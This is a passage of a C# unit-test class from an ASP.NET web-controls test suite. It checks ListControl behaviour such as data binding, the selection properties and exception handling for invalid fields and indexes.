MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n// NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\n// LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\n// OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\n// WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n//\nusing System;\nusing System.Collections;\nusing System.ComponentModel;\nusing System.Web;\nusing System.Web.SessionState;\nusing System.Web.UI;\nusing System.Web.UI.WebControls;\nusing System.Web.UI.HtmlControls;\nusing GHTWebControls;\nusing System.Drawing;\nusing System.Data;\n \nnamespace GHTTests\n{\n\t///

\n\t/// Summary description for GHTListControlBase.\n\t/// \n\tpublic class GHTListControlBase : GHTBaseWeb\n\t{\n\t\t#region \"Tests\"\n\t\tprotected void ListControl_AutoPostBack(Type ctrlType)\n\t\t{\n\t\t\t#region \"Setting to true\"\n\t\t\tGHTListContorlSubTestBegin(ctrlType, \"AutoPostBack = True\");\n\t\t\ttry\n\t\t\t{\n\t\t\t\tm_lcToTest.AutoPostBack = true;\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n\t\t\t}\n\t\t\tGHTSubTestEnd();\n\t\t\t#endregion\n\t\t\t#region \"Getting true:\"\n\t\t\tGHTListContorlSubTestBegin(ctrlType, \"Get AutoPostBack true\");\n\t\t\ttry\n\t\t\t{\n\t\t\t\tm_lcToTest.AutoPostBack = true;\n\t\t\t\tCompare(m_lcToTest.AutoPostBack, true);\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n\t\t\t}\n\t\t\t#endregion\n\t\t\t#region \"Setting to false\"\n\t\t\tGHTListContorlSubTestBegin(ctrlType, \"AutoPostBack = false\");\n\t\t\ttry\n\t\t\t{\n\t\t\t\tm_lcToTest.AutoPostBack = false;\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n\t\t\t}\n\t\t\tGHTSubTestEnd();\n\t\t\t#endregion\n\t\t\t#region \"Getting false:\"\n\t\t\tGHTListContorlSubTestBegin(ctrlType, \"Get AutoPostBack false\");\n\t\t\ttry\n\t\t\t{\n\t\t\t\tm_lcToTest.AutoPostBack = false;\n\t\t\t\tCompare(m_lcToTest.AutoPostBack, false);\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n\t\t\t}\n\t\t\t#endregion\n\t\t}\n\t\tprotected void ListControl_ClearSelection(Type ctrlType)\n\t\t{\n\t\t\t#region \"No item selected\"\n\t\t\tGHTListContorlSubTestBegin(ctrlType, \"No ite, selected\");\n\t\t\ttry\n\t\t\t{\n\t\t\t\tm_lcToTest.Items.Add(\"A\");\n\t\t\t\tm_lcToTest.Items.Add(\"B\");\n\t\t\t\tm_lcToTest.Items.Add(\"C\");\n\t\t\t\tm_lcToTest.ClearSelection();\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n\t\t\t}\n\t\t\tGHTSubTestEnd();\n\t\t\t#endregion\n\t\t\t#region \"One item selected\"\n\t\t\tGHTListContorlSubTestBegin(ctrlType, \"One item selected\");\n\t\t\ttry\n\t\t\t{\n\t\t\t\tm_lcToTest.Items.Add(\"A\");\n\t\t\t\tm_lcToTest.Items.Add(\"B\");\n\t\t\t\tm_lcToTest.Items.Add(\"C\");\n\t\t\t\tm_lcToTest.SelectedIndex = 1;\n\t\t\t\tm_lcToTest.ClearSelection();\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n\t\t\t}\n\t\t\t#endregion\n\t\t}\n\t\tprotected void ListControl_DataMember(Type ctrlType)\n\t\t{\n\t\t\tInitDataSet();\n\t\t\t#region \"Existing Table\"\n\t\t\tGHTListContorlSubTestBegin(ctrlType, \"Existing table\");\n\t\t\t\n\t\t\ttry\n\t\t\t{\n\t\t\t\tm_lcToTest.DataSource = m_dsData;\n\t\t\t\tm_lcToTest.DataMember = \"Second\";\n\t\t\t\tm_lcToTest.DataTextField = \"double Column\";\n\t\t\t\tm_lcToTest.DataBind();\n\t\t\t\tCompare(m_lcToTest.DataMember, \"Second\");\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n\t\t\t}\n\n\t\t\tGHTSubTestEnd();\n\t\t\t#endregion\n\t\t\t#region \"Null\"\n\t\t\tGHTListContorlSubTestBegin(ctrlType, \"Null\");\n\t\t\ttry\n\t\t\t{\n\t\t\t\tm_lcToTest.DataSource = m_dsData;\n\t\t\t\tm_lcToTest.DataMember = null;\n\t\t\t\tm_lcToTest.DataTextField = \"char Column\";\n\t\t\t\tm_lcToTest.DataBind();\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n\t\t\t}\n\n\t\t\t#endregion\n\t\t\t#region \"Non existing table in a dataset\"\n#if !NET_2_0\n\t\t\tGHTListContorlSubTestBegin(ctrlType, \"Non existing table in a dataset\");\n\t\t\t\n\t\t\ttry\n\t\t\t{\n\t\t\t\tm_lcToTest.DataSource = m_dsData;\n\t\t\t\tm_lcToTest.DataMember = \"not a table name\";\n\t\t\t\tm_lcToTest.DataBind();\n\t\t\t\tGHTSubTestExpectedExceptionNotCaught(\"HttpException\");\n\t\t\t}\n\t\t\tcatch (HttpException ex)\n\t\t\t{\n\t\t\t\tGHTSubTestExpectedExceptionCaught(ex);\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n\t\t\t}\n#endif\n\t\t\t#endregion\n\t\t\t#region \"DataSource is not a dataset - set\"\n\t\t\tGHTListContorlSubTestBegin(ctrlType, \"DataSource is not a dataset\");\n\t\t\t\n\t\t\ttry\n\t\t\t{\n\t\t\t\tInitArray();\n\t\t\t\tm_lcToTest.DataSource = m_items;\n\t\t\t\tm_lcToTest.DataMember = \"not a table name\";\n\t\t\t\tm_lcToTest.DataBind();\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n\t\t\t}\n\t\t\t#endregion\n\t\t}\n\n\t\tprotected void ListControl_DataSource(Type ctrlType)\n\t\t{\n\t\t\tInitDataSet();\n\t\t\tInitArray();\n\t\t\t#region \"DataSource that implements IEnumerable\"\n\t\t\tGHTListContorlSubTestBegin(ctrlType, \"DataSource that implements IEnumerable\");\n\t\t\t\n\t\t\ttry\n\t\t\t{\n\t\t\t\tIEnumerable dataSource = m_items;\n\t\t\t\tm_lcToTest.DataSource = dataSource;\n\t\t\t\tm_lcToTest.DataBind();\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n\t\t\t}\n\n\t\t\tGHTSubTestEnd();\n\t\t\t#endregion\n\t\t\t#region \"DataSource that implements IListSource\"\n\t\t\tGHTListContorlSubTestBegin(ctrlType, \"DataSource that implements IListSource\");\n\t\t\t\n\t\t\ttry\n\t\t\t{\n\t\t\t\tIListSource dataSource = m_dsData;\n\t\t\t\tm_lcToTest.DataSource = dataSource;\n\t\t\t\tm_lcToTest.DataTextField = \"char Column\";\n\t\t\t\tm_lcToTest.DataBind();\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n\t\t\t}\n\n\t\t\tGHTSubTestEnd();\n\t\t\t#endregion\n\t\t\t#region \"DataSource that does not implement IListSource or IEnumerable\"\n\t\t\tGHTListContorlSubTestBegin(ctrlType, \"DataSource that does not implement IListSource or IEnumerable\");\n\t\t\t\n\t\t\ttry\n\t\t\t{\n\t\t\t\tDataItem dataSource = new DataItem(1, \"aaa\");\n\t\t\t\tm_lcToTest.DataSource = dataSource;\n\t\t\t\tm_lcToTest.DataBind();\n\t\t\t\tGHTSubTestExpectedExceptionNotCaught(\"ArgumentException\");\n\t\t\t}\n#if NET_2_0\n\t\t\tcatch (InvalidOperationException ex)\n\t\t\t{\n\t\t\t\tGHTSubTestExpectedExceptionCaught(ex);\n\t\t\t}\n#endif\n\t\t\tcatch (ArgumentException ex)\n\t\t\t{\n\t\t\t\tGHTSubTestExpectedExceptionCaught(ex);\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n\t\t\t}\n\n\t\t\tGHTSubTestEnd();\n\t\t\t#endregion\n\t\t}\n\n\t\tprotected void ListControl_DataTextField(Type ctrlType)\n\t\t{\n\t\t\tInitArray();\n\t\t\tInitDataSet();\n\t\t\t#region \"string.empty - user defined items\"\n\t\t\tGHTListContorlSubTestBegin(ctrlType, \"string.empty\");\n\t\t\t\n\t\t\ttry\n\t\t\t{\n\t\t\t\tm_lcToTest.DataSource = m_items;\n\t\t\t\tm_lcToTest.DataTextField = string.Empty;\n\t\t\t\tm_lcToTest.DataBind();\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n\t\t\t}\n\n\t\t\tGHTSubTestEnd();\n\t\t\t#endregion\n\n//The result is ToString of DataRow which is default Object.ToString()\n//In Java we get @addres at the end.\n//\t\t\t#region \"string.empty - bound to a table\"\n//\t\t\tGHTListContorlSubTestBegin(ctrlType, \"string.empty - bound to a table\");\n//\t\t\t\n//\t\t\ttry\n//\t\t\t{\n//\t\t\t\tm_lcToTest.DataSource = m_dsData;\n//\t\t\t\tm_lcToTest.DataTextField = string.Empty;\n//\t\t\t\tm_lcToTest.DataBind();\n//\t\t\t}\n//\t\t\tcatch (Exception ex)\n//\t\t\t{\n//\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n//\t\t\t}\n//\n//\t\t\tGHTSubTestEnd();\n//\t\t\t#endregion\n\t\t\t#region \"Name of an items property\"\n\t\t\tGHTListContorlSubTestBegin(ctrlType, \"Name of an items property\");\n\t\t\t\n\t\t\ttry\n\t\t\t{\n\t\t\t\tm_lcToTest.DataSource = m_items;\n\t\t\t\tm_lcToTest.DataTextField = \"Name\";\n\t\t\t\tm_lcToTest.DataBind();\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n\t\t\t}\n\n\t\t\tGHTSubTestEnd();\n\t\t\t#endregion\n\t\t\t#region \"Name of an item non-existing property\"\n\t\t\tGHTListContorlSubTestBegin(ctrlType, \"Name of an item non-existing property\");\n\t\t\t\n\t\t\ttry\n\t\t\t{\n\t\t\t\tm_lcToTest.DataSource = m_items;\n\t\t\t\tm_lcToTest.DataTextField = \"non-existing property\";\n\t\t\t\tm_lcToTest.DataBind();\n\t\t\t\tGHTSubTestExpectedExceptionNotCaught(\"HttpException\");\n\t\t\t}\n\t\t\tcatch (HttpException ex)\n\t\t\t{\n\t\t\t\tGHTSubTestExpectedExceptionCaught(ex);\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n\t\t\t}\n\n\t\t\tGHTSubTestEnd();\n\t\t\t#endregion\n\t\t\t#region \"Name of a column\"\n\t\t\tGHTListContorlSubTestBegin(ctrlType, \"Name of a column\");\n\t\t\t\n\t\t\ttry\n\t\t\t{\n\t\t\t\tm_lcToTest.DataSource = m_dsData;\n\t\t\t\tm_lcToTest.DataTextField = \"int Column\";\n\t\t\t\tm_lcToTest.DataBind();\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n\t\t\t}\n\n\t\t\tGHTSubTestEnd();\n\t\t\t#endregion\n\t\t\t#region \"Name of a non-existing column\"\n\t\t\tGHTListContorlSubTestBegin(ctrlType, \"Name of a non-existing column\");\n\t\t\t\n\t\t\ttry\n\t\t\t{\n\t\t\t\tm_lcToTest.DataSource = m_dsData;\n\t\t\t\tm_lcToTest.DataTextField = \"non-existing column\";\n\t\t\t\tm_lcToTest.DataBind();\n\t\t\t\tGHTSubTestExpectedExceptionNotCaught(\"HttpException\");\n\t\t\t}\n\t\t\tcatch (HttpException ex)\n\t\t\t{\n\t\t\t\tGHTSubTestExpectedExceptionCaught(ex);\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n\t\t\t}\n\n\t\t\tGHTSubTestEnd();\n\t\t\t#endregion\n\t\t}\n\n\t\tprotected void ListControl_DataTextFormatString(Type ctrlType)\n\t\t{\n\t\t\tInitArray();\n\t\t\t#region \"string.empty\"\n\t\t\tGHTListContorlSubTestBegin(ctrlType, \"string.empty\");\n\t\t\t\n\t\t\ttry\n\t\t\t{\n\t\t\t\tm_lcToTest.DataSource = m_items;\n\t\t\t\tm_lcToTest.DataTextField = \"Name\";\n\t\t\t\tm_lcToTest.DataTextFormatString = string.Empty;\n\t\t\t\tm_lcToTest.DataBind();\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n\t\t\t}\n\n\t\t\tGHTSubTestEnd();\n\t\t\t#endregion\n\t\t\t#region \"Valid format\"\n\t\t\tGHTListContorlSubTestBegin(ctrlType, \"Valid format\");\n\t\t\t\n\t\t\ttry\n\t\t\t{\n\t\t\t\tm_lcToTest.DataSource = m_items;\n\t\t\t\tm_lcToTest.DataTextField = \"Name\";\n\t\t\t\tm_lcToTest.DataTextFormatString = \"format {0} format\";\n\t\t\t\tm_lcToTest.DataBind();\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n\t\t\t}\n\n\t\t\tGHTSubTestEnd();\n\t\t\t#endregion\n\t\t\t#region \"Invalid format\"\n\t\t\tGHTListContorlSubTestBegin(ctrlType, \"Invalid format\");\n\t\t\t\n\t\t\ttry\n\t\t\t{\n\t\t\t\tm_lcToTest.DataSource = m_items;\n\t\t\t\tm_lcToTest.DataTextField = \"Name\";\n\t\t\t\tm_lcToTest.DataTextFormatString = \"{invalid format}\";\n\t\t\t\tm_lcToTest.DataBind();\n\t\t\t\tGHTSubTestExpectedExceptionNotCaught(\"FormatException\");\n\t\t\t}\n\t\t\tcatch (FormatException ex)\n\t\t\t{\n\t\t\t\tGHTSubTestExpectedExceptionCaught(ex);\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n\t\t\t}\n\n\t\t\tGHTSubTestEnd();\n\t\t\t#endregion\n\t\t}\n\n\t\tprotected void ListControl_Items(Type ctrlType)\n\t\t{\n\t\t\tInitArray();\n\t\t\tGHTListContorlSubTestBegin(ctrlType, \"Type & contents\");\n\t\t\t\n\t\t\ttry\n\t\t\t{\n\t\t\t\tm_lcToTest.DataSource = m_items;\n\t\t\t\tm_lcToTest.DataTextField = \"Name\";\n\t\t\t\tm_lcToTest.DataValueField = \"Id\";\n\t\t\t\tm_lcToTest.DataBind();\n\t\t\t\t//Check the type:\n\t\t\t\tCompare(m_lcToTest.Items.GetType().ToString(), typeof(ListItemCollection).ToString());\n\t\t\t\t//Check all the items.\n\t\t\t\tfor (int i=0; i<7; i++)\n\t\t\t\t{\n\t\t\t\t\tCompare(m_lcToTest.Items[i].Text, m_items[i].Name);\n\t\t\t\t\tCompare(m_lcToTest.Items[i].Value.ToString(), m_items[i].Id.ToString());\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n\t\t\t}\n\n\t\t\tGHTSubTestEnd();\n\t\t}\n\n\t\tprotected void ListControl_DataValueField(Type ctrlType)\n\t\t{\n\t\t\tInitArray();\n\t\t\tInitDataSet();\n\t\t\t#region \"string.empty - user defined items\"\n\t\t\tGHTListContorlSubTestBegin(ctrlType, \"string.empty\");\n\t\t\t\n\t\t\ttry\n\t\t\t{\n\t\t\t\tm_lcToTest.DataSource = m_items;\n\t\t\t\tm_lcToTest.DataValueField = string.Empty;\n\t\t\t\tm_lcToTest.DataBind();\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n\t\t\t}\n\n\t\t\tGHTSubTestEnd();\n\t\t\t#endregion\n\t\t\t#region \"string.empty - bound to a table\"\n\t\t\tGHTListContorlSubTestBegin(ctrlType, \"string.empty - bound to a table\");\n\t\t\t\n\t\t\ttry\n\t\t\t{\n\t\t\t\tm_lcToTest.DataSource = m_dsData;\n\t\t\t\tm_lcToTest.DataValueField= string.Empty;\n\t\t\t\tm_lcToTest.DataTextField = \"char Column\";\n\t\t\t\tm_lcToTest.DataBind();\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n\t\t\t}\n\n\t\t\tGHTSubTestEnd();\n\t\t\t#endregion\n\t\t\t#region \"Name of an items property\"\n\t\t\tGHTListContorlSubTestBegin(ctrlType, \"Name of an items property\");\n\t\t\t\n\t\t\ttry\n\t\t\t{\n\t\t\t\tm_lcToTest.DataSource = m_items;\n\t\t\t\tm_lcToTest.DataValueField = \"Id\";\n\t\t\t\tm_lcToTest.DataBind();\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n\t\t\t}\n\n\t\t\tGHTSubTestEnd();\n\t\t\t#endregion\n\t\t\t#region \"Name of an item non-existing property\"\n\t\t\tGHTListContorlSubTestBegin(ctrlType, \"Name of an item non-existing property\");\n\t\t\t\n\t\t\ttry\n\t\t\t{\n\t\t\t\tm_lcToTest.DataSource = m_items;\n\t\t\t\tm_lcToTest.DataValueField = \"non-existing property\";\n\t\t\t\tm_lcToTest.DataBind();\n\t\t\t\tGHTSubTestExpectedExceptionNotCaught(\"HttpException\");\n\t\t\t}\n\t\t\tcatch (HttpException ex)\n\t\t\t{\n\t\t\t\tGHTSubTestExpectedExceptionCaught(ex);\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n\t\t\t}\n\n\t\t\tGHTSubTestEnd();\n\t\t\t#endregion\n\t\t\t#region \"Name of a column\"\n\t\t\tGHTListContorlSubTestBegin(ctrlType, \"Name of a column\");\n\t\t\t\n\t\t\ttry\n\t\t\t{\n\t\t\t\tm_lcToTest.DataSource = m_dsData;\n\t\t\t\tm_lcToTest.DataValueField = \"int Column\";\n\t\t\t\tm_lcToTest.DataBind();\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n\t\t\t}\n\n\t\t\tGHTSubTestEnd();\n\t\t\t#endregion\n\t\t\t#region \"Name of a non-existing column\"\n\t\t\tGHTListContorlSubTestBegin(ctrlType, \"Name of a non-existing column\");\n\t\t\t\n\t\t\ttry\n\t\t\t{\n\t\t\t\tm_lcToTest.DataSource = m_dsData;\n\t\t\t\tm_lcToTest.DataValueField = \"non-existing column\";\n\t\t\t\tm_lcToTest.DataBind();\n\t\t\t\tGHTSubTestExpectedExceptionNotCaught(\"HttpException\");\n\t\t\t}\n\t\t\tcatch (HttpException ex)\n\t\t\t{\n\t\t\t\tGHTSubTestExpectedExceptionCaught(ex);\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n\t\t\t}\n\n\t\t\tGHTSubTestEnd();\n\t\t\t#endregion\n\t\t}\n\t\tprotected void ListControl_SelectedIndex(Type ctrlType)\n\t\t{\n\t\t\tInitArray();\n\t\t\t#region \"None selected\"\n\t\t\tGHTListContorlSubTestBegin(ctrlType, \"None selected\");\n\t\t\t\n\t\t\ttry\n\t\t\t{\n\t\t\t\tm_lcToTest.DataSource = m_items;\n\t\t\t\tm_lcToTest.DataBind();\n\t\t\t\tm_lcToTest.SelectedIndex = -1;\n\t\t\t\tGHTSubTestAddResult(m_lcToTest.SelectedIndex.ToString());\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n\t\t\t}\n\t\t\t#endregion\n\t\t\t#region \"valid value\"\n\t\t\tGHTListContorlSubTestBegin(ctrlType, \"valid value\");\n\t\t\t\n\t\t\ttry\n\t\t\t{\n\t\t\t\tm_lcToTest.DataSource = m_items;\n\t\t\t\tm_lcToTest.DataBind();\n\t\t\t\tm_lcToTest.SelectedIndex = 5;\n\t\t\t\tGHTSubTestAddResult(m_lcToTest.SelectedIndex.ToString());\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n\t\t\t}\n\t\t\t#endregion\n\t\t\t#region \"Invalid value - above length of items.\"\n\t\t\tGHTListContorlSubTestBegin(ctrlType, \"Invalid value - above length of items.\");\n\t\t\t\n\t\t\ttry\n\t\t\t{\n\t\t\t\tm_lcToTest.DataSource = m_items;\n\t\t\t\tm_lcToTest.DataBind();\n\t\t\t\tm_lcToTest.SelectedIndex = 10;\n\t\t\t\tGHTSubTestExpectedExceptionNotCaught(\"ArgumentOutOfRangeException\");\n\t\t\t}\n\t\t\tcatch (ArgumentOutOfRangeException ex)\n\t\t\t{\n\t\t\t\tGHTSubTestExpectedExceptionCaught(ex);\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n\t\t\t}\n\t\t\t#endregion\n\t\t\t#region \"Invalid value - below -1.\"\n\t\t\tGHTListContorlSubTestBegin(ctrlType, \"Invalid value - below -1.\");\n\t\t\t\n\t\t\ttry\n\t\t\t{\n\t\t\t\tm_lcToTest.DataSource = m_items;\n\t\t\t\tm_lcToTest.DataBind();\n\t\t\t\tm_lcToTest.SelectedIndex = -2;\n\t\t\t\tGHTSubTestExpectedExceptionNotCaught(\"ArgumentOutOfRangeException\");\n\t\t\t}\n\t\t\tcatch (ArgumentOutOfRangeException ex)\n\t\t\t{\n\t\t\t\tGHTSubTestExpectedExceptionCaught(ex);\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n\t\t\t}\n\t\t\t#endregion\n\t\t}\n\n\t\tprotected void ListControl_SelectedItem(Type ctrlType)\n\t\t{\n\t\t\tInitArray();\n\t\t\t#region \"None selected\"\n\t\t\tGHTListContorlSubTestBegin(ctrlType, \"None selected\");\n\t\t\t\n\t\t\ttry\n\t\t\t{\n\t\t\t\tm_lcToTest.DataSource = m_items;\n\t\t\t\tm_lcToTest.DataTextField = \"Name\";\n\t\t\t\tm_lcToTest.DataBind();\n\t\t\t\tm_lcToTest.SelectedIndex = -1;\n\t\t\t\tif (m_lcToTest.SelectedItem == null)\n\t\t\t\t{\n\t\t\t\t\tGHTSubTestAddResult(\"Test passed: SelectedItem is null\");\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tGHTSubTestAddResult(\"Test failede: SelectedItem is not null\");\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n\t\t\t}\n\t\t\t#endregion\n\t\t\t#region \"Single Item selected\"\n\t\t\tGHTListContorlSubTestBegin(ctrlType, \"valid value\");\n\t\t\t\n\t\t\ttry\n\t\t\t{\n\t\t\t\tm_lcToTest.DataSource = m_items;\n\t\t\t\tm_lcToTest.DataTextField = \"Name\";\n\t\t\t\tm_lcToTest.DataBind();\n\t\t\t\tm_lcToTest.SelectedIndex = 5;\n\t\t\t\tCompare(m_lcToTest.SelectedItem.Text, m_items[5].Name );\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n\t\t\t}\n\t\t\t#endregion\n\t\t\t#region \"multiple Items selected\"\n\t\t\tGHTListContorlSubTestBegin(ctrlType, \"multiple Items selected\");\n\t\t\tif (m_lcToTest is DropDownList)\n\t\t\t{\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tif (m_lcToTest is ListBox)\n\t\t\t{\n\t\t\t\t((ListBox)m_lcToTest).SelectionMode = ListSelectionMode.Multiple;\n\t\t\t}\n\t\t\ttry\n\t\t\t{\n\t\t\t\tm_lcToTest.DataSource = m_items;\n\t\t\t\tm_lcToTest.DataTextField = \"Name\";\n\t\t\t\tm_lcToTest.DataBind();\n\t\t\t\tm_lcToTest.Items[2].Selected = true;\n\t\t\t\tm_lcToTest.Items[4].Selected = true;\n\t\t\t\tm_lcToTest.Items[6].Selected = true;\n\t\t\t\tCompare(m_lcToTest.SelectedItem.Text, m_items[2].Name );\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n\t\t\t}\n\n\t\t\t#endregion\n\t\t}\n\n\t\tprotected void ListControl_SelectedValue(Type ctrlType)\n\t\t{\n\t\t\tInitArray();\n\t\t\t#region \"None selected - get\"\n\t\t\tGHTListContorlSubTestBegin(ctrlType, \"None selected - get\");\n\t\t\t\n\t\t\ttry\n\t\t\t{\n\t\t\t\tm_lcToTest.DataSource = m_items;\n\t\t\t\tm_lcToTest.DataValueField = \"Id\";\n\t\t\t\tm_lcToTest.DataBind();\n\t\t\t\tm_lcToTest.SelectedIndex = -1;\n\t\t\t\tCompare(m_lcToTest.SelectedValue, string.Empty);\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n\t\t\t}\n\t\t\t#endregion\n\t\t\t#region \"valid value - get\"\n\t\t\tGHTListContorlSubTestBegin(ctrlType, \"valid value - get\");\n\t\t\t\n\t\t\ttry\n\t\t\t{\n\t\t\t\tm_lcToTest.DataSource = m_items;\n\t\t\t\tm_lcToTest.DataValueField = \"Id\";\n\t\t\t\tm_lcToTest.DataBind();\n\t\t\t\tm_lcToTest.SelectedIndex = 5;\n\t\t\t\tCompare(m_lcToTest.SelectedValue, m_items[5].Id.ToString());\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n\t\t\t}\n\t\t\t#endregion\n\t\t\t#region \"valid value - set\"\n\t\t\tGHTListContorlSubTestBegin(ctrlType, \"valid value - set\");\n\t\t\t\n\t\t\ttry\n\t\t\t{\n\t\t\t\tm_lcToTest.DataSource = m_items;\n\t\t\t\tm_lcToTest.DataValueField = \"Id\";\n\t\t\t\tm_lcToTest.DataBind();\n\t\t\t\tm_lcToTest.SelectedValue = \"5\";\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n\t\t\t}\n\t\t\t#endregion\n\t\t\t#region \"Invalid value - set\"\n\t\t\tGHTListContorlSubTestBegin(ctrlType, \"Invalid value - set\");\n\t\t\t\n\t\t\ttry\n\t\t\t{\n\t\t\t\tm_lcToTest.DataSource = m_items;\n\t\t\t\tm_lcToTest.DataBind();\n\t\t\t\tm_lcToTest.DataValueField = \"Id\";\n\t\t\t\tm_lcToTest.SelectedValue = \"10\";\n\t\t\t\tGHTSubTestExpectedExceptionNotCaught(\"ArgumentOutOfRangeException\");\n\t\t\t}\n\t\t\tcatch (ArgumentOutOfRangeException ex)\n\t\t\t{\n\t\t\t\tGHTSubTestExpectedExceptionCaught(ex);\n\t\t\t}\n\t\t\tcatch (Exception ex)\n\t\t\t{\n\t\t\t\tGHTSubTestUnexpectedExceptionCaught(ex);\n\t\t\t}\n\t\t\t#endregion\n\t\t}\n\n\t\t#endregion\n\n\t\t#region \"Construction\"\n\t\t/// \n\t\t/// Default constructor.\n\t\t/// \n\t\tpublic GHTListControlBase()\n\t\t{\n\t\t}\n\t\t/// \n\t\t/// Static constructor.\n\t\t/// Initializes the static field m_types[].\n\t\t/// \n\t\tstatic GHTListControlBase()\n\t\t{\n\t\t\tinitTypes();\n\t\t}\n\t\t#endregion\n\t\t\n\t\t#region \"properties\"\n\t\tpublic static Type[] TestedTypes\n\t\t{\n\t\t\tget\n\t\t\t{\n\t\t\t\treturn (Type[])(m_types.ToArray(typeof(Type)));\n\t\t\t}\n\t\t}\n\t\t#endregion\n\n\t\t#region \"members\"\n\t\t/// \n\t\t/// Holds the ListControl that is tested in the current subtest.\n\t\t/// \n\t\tprivate ListControl m_lcToTest;\n\t\tprivate int m_controlsCounter = 0;\n\n\t\t/// \n\t\t/// Holds all the types that are derived from ListControl, and should be tested.\n\t\t/// \n\t\tprivate static readonly ArrayList m_types = new ArrayList();\n\t\t/// 